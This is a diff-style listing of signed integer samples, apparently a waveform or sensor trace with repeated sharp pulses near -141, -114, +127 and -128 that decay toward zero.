-2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -1 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -0 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -2 -2 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -2 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -130 -124 -121 -117 -114 -109 -105 -99 -93 -86 -80 -73 -68 -62 -57 -51 -46 -43 -39 -36 -34 -30 -29 -27 -25 -23 -21 -20 -18 -16 -16 -14 -13 -12 -11 -10 -10 -8 -7 -6 -6 -6 -5 -4 -4 -3 -3 -2 -2 -2 -1 -1 -0 -0 -0 -0 -0 -0 --1 --1 --1 --1 --1 --2 --1 --2 --2 --2 --2 --2 --2 --3 --2 --3 --3 --3 --3 --4 --4 --4 --4 --4 --3 --3 --3 --3 --3 --3 --2 --3 --3 --3 --3 --3 --3 --2 --2 --3 --2 --2 --3 --3 --3 --3 --3 --4 --4 --4 --4 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --94 --87 --66 --78 --57 --68 --64 --60 --56 --52 --48 --45 --42 --39 --36 --35 --32 +-31 +-30 -29 -28 -27 --24 --22 --21 --20 --18 --16 --15 --14 --14 --12 --11 --10 --10 --10 --8 --8 --8 --7 --6 --6 --5 --5 --5 --5 --4 --4 --3 --3 --2 --2 --2 --2 --2 --1 --1 --2 --1 --1 --1 --1 --1 --1 -0 -0 -0 -0 -1 -1 -0 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -0 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -128 -124 -121 -117 -114 -109 -104 -98 -92 -86 -80 -73 -68 -62 -56 -51 -47 -43 -40 -36 -34 -31 -29 -27 -25 -24 -22 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --90 --83 --93 --87 --66 --76 --56 --67 --62 --58 --54 --51 --47 --44 --41 --39 --36 --33 --31 --29 --27 --25 --24 --22 --21 --19 --18 --17 --16 --14 --13 --12 --11 --11 --10 --9 --8 --8 --7 --6 --5 --5 --5 --5 --4 --5 --4 --4 --3 --3 --2 --3 --2 --1 --1 --1 --1 --1 -0 -0 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -0 -0 -0 -1 -1 -0 -0 -0 -0 -1 -0 -0 -0 -0 -1 -1 -1 -2 -2 -2 -2 -0 -1 -2 -2 -1 -0 -1 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -131 -126 -122 -117 -114 -109 -104 -98 -92 -85 -80 -73 -68 -62 -56 -52 -48 -44 -40 -37 -34 -32 -29 -27 -25 -23 -21 -20 -18 -16 -14 -14 -12 -10 -10 -9 -9 -8 -7 -6 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --93 --87 --66 --76 --56 --67 --63 --59 --55 --51 --47 --44 --41 --38 --36 --33 --31 --29 -26 -25 -24 +-23 +-22 -22 -21 +-21 +-20 +-19 +-19 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-14 +-14 +-13 +-13 +-14 +-14 +-13 +-12 +-12 +-12 +-12 +-11 +-11 +-12 +-12 +-12 +-12 +-13 +-14 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +117 +112 +108 +104 +100 +95 +90 +84 +78 +71 +65 +59 +53 +48 +43 +38 +33 +29 +26 +23 +20 +17 +15 +12 +11 +9 +7 +5 +4 +3 +1 +0 +-2 +-3 +-3 +-5 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-17 +-16 +-16 +-17 +-16 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-18 +-17 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-109 +-102 +-97 +-92 +-71 +-81 +-77 +-73 +-70 +-65 +-62 +-59 +-56 +-54 +-50 +-48 +-46 +-44 +-42 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-28 +-27 +-27 +-25 +-24 +-23 +-23 +-22 +-21 +-21 +-21 +-20 +-20 +-19 +-19 -19 -18 -17 +-17 +-17 +-17 -16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 -14 -14 -12 -12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 127 -122 -118 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 114 -111 -106 -102 +110 +107 +103 +100 +95 +90 +84 +79 +71 +66 +59 +53 +47 +42 +37 +34 +29 +26 +23 +20 +18 +16 +13 +11 +9 +7 +6 +4 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-80 +-91 +-69 +-80 +-76 +-72 +-68 +-64 +-62 +-58 +-55 +-53 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-25 +-25 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-20 +-20 +-19 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-14 +-15 +-14 +-14 +-14 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +108 +104 +101 96 91 84 -78 +79 72 -67 -60 -55 -50 -46 -41 -38 -36 +66 +59 +53 +47 +42 +37 33 -31 29 -27 -25 +26 23 -21 -19 -18 -16 +20 +17 15 13 -13 12 -11 -10 9 8 -8 -7 6 -5 4 3 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --90 --83 --92 --87 --65 +2 +0 +0 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-101 +-80 +-91 +-69 +-80 -76 --55 --67 --63 +-73 +-69 +-65 +-61 -58 +-56 -54 --51 +-50 -48 +-46 -44 --41 --38 +-42 +-39 +-37 -36 -34 +-33 +-32 -31 +-30 +-28 +-27 +-26 +-26 +-25 +-23 +-23 +-23 +-22 +-22 +-21 +-20 +-20 +-19 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +110 +107 +103 +100 +95 +89 +83 +78 +71 +66 +59 +53 +47 +42 +37 +33 +29 +26 +23 +20 +18 +15 +13 +11 +9 +7 +5 +4 +2 +1 +0 +-1 +-2 +-2 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-102 +-79 +-90 +-70 +-82 +-76 +-72 +-68 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-35 +-34 +-33 +-31 +-30 +-30 -29 -28 -26 --24 --22 --20 --19 --18 --17 --15 --15 --14 --13 --11 --10 --10 --10 --8 --8 --8 --7 --7 --6 --5 --5 --4 --4 --3 --3 --3 --3 --3 --2 --2 --2 --2 --1 --1 --1 --1 --1 -0 -0 --1 -0 -0 -0 -0 --1 -0 -0 -0 -1 -1 -1 -1 -0 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -128 -124 -121 -117 -114 -110 -104 -98 -92 -85 -80 -72 -67 -61 -56 -51 -47 -43 -40 -36 -33 -31 -30 -27 -25 -23 -22 -20 -19 -17 -15 -14 -13 -12 -12 -10 -10 -8 -8 -7 -6 -5 -4 -3 -3 -3 -3 -2 -1 -1 -0 -0 -0 -0 -0 --1 --1 --1 --1 --2 --2 --2 --1 --2 --1 --1 --1 --2 --2 --2 --2 --2 --3 --3 --3 --3 --2 --3 --3 --3 --3 --3 --3 --2 --2 --2 --2 --3 --3 --3 --3 --3 --4 --4 --3 --4 --4 --4 --4 --4 --4 --4 --3 --4 --3 --4 --4 --4 --3 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --85 --95 --89 --65 --77 --57 --69 --63 --59 --56 --52 --48 --45 --42 --39 --36 --34 --32 --30 --28 -26 +-25 -24 -23 +-22 +-22 -21 -20 --18 --17 --16 --15 --13 --13 --12 --10 --10 --9 --8 --8 --7 --7 --6 --6 --6 --5 --4 --4 --3 --4 --3 --3 --2 --2 --2 --2 --2 --2 --2 --2 --1 --1 --1 --1 -0 -0 -0 -0 -1 -1 -1 -0 -0 -0 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -0 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -2 -3 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -121 -117 -114 -109 -104 -98 -93 -86 -80 -73 -68 -61 -56 -51 -47 -43 -39 -36 -34 -31 -29 -27 -25 -24 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -4 -3 -3 -3 -2 -2 -1 -1 -1 -0 -0 -0 -0 --1 --1 --1 --1 --2 --1 --2 --2 --2 --2 --2 --2 --3 --3 --4 --3 --4 --3 --4 --3 --3 --3 --3 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --4 --4 --4 --4 --4 --4 --3 --3 --4 --3 --4 --4 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --4 --4 --4 --4 --4 --3 --4 --3 --3 --2 --2 --3 --3 --3 --4 --3 --4 --4 --4 --4 --4 --3 --4 --3 --4 --4 --4 --4 --4 --4 --4 --3 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --3 --4 --3 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --87 --66 --76 --56 --67 --63 --59 --56 --52 --49 --45 --43 --40 --37 --35 --32 --30 --28 --26 --24 --23 -20 +-20 +-19 +-19 +-19 -19 -18 -17 +-17 +-17 +-16 +-16 +-15 +-16 +-16 +-16 +-15 +-15 +-16 +-16 -15 -14 +-14 +-15 +-14 +-14 +-14 +-15 +-14 +-16 +-14 +-14 +-14 +-15 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 -13 -12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 -11 --11 --10 --10 --9 --9 --8 --7 --7 --6 --5 --4 --4 --4 --4 --3 --3 --3 --2 --3 --2 --3 --2 --2 --3 --3 --1 --1 --1 --1 -0 -1 -1 -1 -0 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -0 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -0 -1 -2 -1 -1 -0 -2 -1 -1 -0 -1 -1 -1 -0 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -124 -122 -118 -114 -110 -105 -98 -92 -85 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +111 +108 +104 +100 +96 +91 +84 79 72 66 60 -55 -50 -46 +54 +48 43 -40 -37 +38 34 -32 -30 -27 -26 -24 -22 -20 -19 -17 -16 -14 -13 -11 -10 -9 -9 -8 -6 -5 -5 -4 -4 -4 -3 